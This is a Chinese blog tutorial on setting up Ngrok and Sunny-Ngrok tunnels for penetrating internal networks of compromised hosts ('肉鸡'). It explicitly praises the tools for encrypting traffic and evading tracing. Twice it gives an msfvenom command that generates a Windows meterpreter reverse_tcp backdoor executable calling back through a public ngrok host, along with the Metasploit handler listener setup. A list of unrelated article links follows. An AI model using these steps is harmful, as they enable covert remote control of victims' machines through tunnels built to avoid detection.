当前位置: 首页 > news >正文

【内网安全-隧道搭建】内网穿透_Ngrok上线(美版、国版二开)

目录

一、准备

1、意义:

2、项目:

二、内网穿透

1、简介:

三、Ngrok(入门上线)

1、简述:

2、Ngrok入门上线(国版二开)

3、相关工具:

 2、Ngrok入门上线(美版)



一、准备

1、意义:

在代理连接肉鸡后实现本地渗透肉鸡网络架构


2、项目:

Linux:Proxychains
Windows:Sockscap Proxifier
穿透项目:Ngrok Frp Spp Nps EW(停更)
优点:穿透加密数据,中间平台,防追踪,解决网络问题
https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm



二、内网穿透

1、简介:

1、内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。


2、UDP 内网穿透的实质是利用路由器上的NAT 系统。NAT 是一种将私有(保留)地址转化为合法IP地址转换技术,它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中。NAT可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽
(来源百度百科)



三、Ngrok(入门上线)

1、简述:

1)作用:ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。通过一个命令,便可将一个本地服务器暴露在NAT或防火墙后面的互联网。


2)官方解释:ngrok是一个简化的API优先入口即服务,它增加了连接性, 无需更改代码即可对您的应用程序进行安全性和可观察性


3)我的理解:

关键词:反向代理、公共、本地

通过反向代理,将局域网内的ip:port,转化为任何用户上网都可访问的URL一样

本地--->Ngrok服务器--->客户端


3)分析:

支持的协议:tcp、http、https
支持的类型:正向代理、反向代理


4)工具官网(美国的):

ngrok - Online in One Linengrok is the fastest way to put anything onthe internet with a single command.https://ngrok.com/


5)国产二开的管理平台:

Sunny-Ngrok

Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器https://www.ngrok.cc/

2、Ngrok入门上线(国版二开)

1)注册并登陆:

Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

点击进行注册(免费的)


2)服务端配置:
实名认证--->开通隧道--->TCP协议--->指向IP和端口--->开通隧道--->连接隧道

——————

实名认证(2块钱就可了)

填写相关信息

 使用支付宝扫码,进行人脸识别

——————

开通隧道(先拿0元的试手)

——————

TCP协议--->域名进行设置--->指向IP和端口--->添加隧道--->确认开通

注意:

本地端口的填写,12.0.0.1代表localhost,紧接着的端口号是tomcat的端口号(可查看tomcat的server.xml文件中端口)

 


3)连接隧道:

下载客户端

 根据自己的下载合适的ngrok客户端

 打开ngrok客户端

输入需要启动的隧道id

实现本地的网站,可以映射到外网了


4)客户端生成后门配置监听:

msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=80 -f exe -o tcp.exe

:lhos:外网ip、lport:外网端口)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run

:这个监听端口lport,与本地转发端口一致)

3、相关工具:

1)natapp

NATAPP -https://natapp.cn/tunnel/buy基本类似使用

2、Ngrok入门上线(美版)

1)下载:

ngrok - downloadhttps://ngrok.com/download


2)运行ngrok.exe


3)在Ngrok官网 注册账号

ngrok - Online in One Linehttps://ngrok.com/在用户中心找到authtoken(账户凭证)


方法一:

4)在ngrok命令行中输入:

ngrok authtoken 加上自己的凭据

配置成功会如下提示:
(创建.ngrok2文件夹、配置文件ngrok.yml)
Authtoken saved to configuration file: C:\Users\****/.ngrok2/ngrok.yml

5)连接隧道:

ngrok http 80
(指定的tcp协议,以及自己的服务端口)

方法二:

4*)配置账户

ngrok config add-authtoken 加上自己的凭据

5*)连接隧道

ngrok http 80
(指定的tcp协议,以及自己的服务端口)

6)客户端生成后门配置监听:
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=80 -f exe -o tcp.exe

:lhos:外网ip、lport:外网端口)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run

:这个监听端口lport,与本地转发端口一致)

相关文章:

  • 最全面的SpringBoot教程(二)——SpringBoot配置文件
  • 早已有所耳闻的堆排序,你知道如何用C语言实现吗? 【堆排序|C语言版】
  • 某书x-s和web_session
  • C语言--模拟实现库函数strcpy
  • Python爬虫以及数据可视化分析之某站热搜排行榜信息爬取分析
  • stream操作常用API 示例详解
  • GitHub2022年十大热门编程语言榜单
  • 利用STC15输出两路互补SPWM波形
  • 我发现买不起自己出版的书了,这到底是咋回事?
  • 「自定义类型」C语言中的构造数据类型如结构,联合,枚举
  • 【C++修炼之路】C++入门(下)
  • 【C++】C++11语法 ~ 可变参数模板
  • 初识计算机网络
  • 无痕埋点在Android中的实现
  • 全网最详细地介绍mybatis-plus框架
  • 【Linux系统编程】快速查找errno错误码信息
  • 2019年如何成为全栈工程师?
  • ES2017异步函数现已正式可用
  • iOS 系统授权开发
  • Java教程_软件开发基础
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • Median of Two Sorted Arrays
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • Python 基础起步 (十) 什么叫函数?
  • Spring Boot MyBatis配置多种数据库
  • underscore源码剖析之整体架构
  • Vue ES6 Jade Scss Webpack Gulp
  • Vue2.x学习三:事件处理生命周期钩子
  • 从PHP迁移至Golang - 基础篇
  • 海量大数据大屏分析展示一步到位:DataWorks数据服务+MaxCompute Lightning对接DataV最佳实践...
  • 浅谈Golang中select的用法
  • 如何在GitHub上创建个人博客
  • Java总结 - String - 这篇请使劲喷我
  • 阿里云API、SDK和CLI应用实践方案
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • #1014 : Trie树
  • (动手学习深度学习)第13章 计算机视觉---图像增广与微调
  • (二)换源+apt-get基础配置+搜狗拼音
  • (附源码)ssm户外用品商城 毕业设计 112346
  • (附源码)ssm失物招领系统 毕业设计 182317
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (五)Python 垃圾回收机制
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (原创)Stanford Machine Learning (by Andrew NG) --- (week 9) Anomaly DetectionRecommender Systems...
  • (转)项目管理杂谈-我所期望的新人
  • . Flume面试题
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .Net Core与存储过程(一)
  • .netcore 如何获取系统中所有session_ASP.NET Core如何解决分布式Session一致性问题
  • .NET的微型Web框架 Nancy
  • .Net小白的大学四年,内含面经
  • /dev下添加设备节点的方法步骤(通过device_create)
  • /使用匿名内部类来复写Handler当中的handlerMessage()方法
  • @Pointcut 使用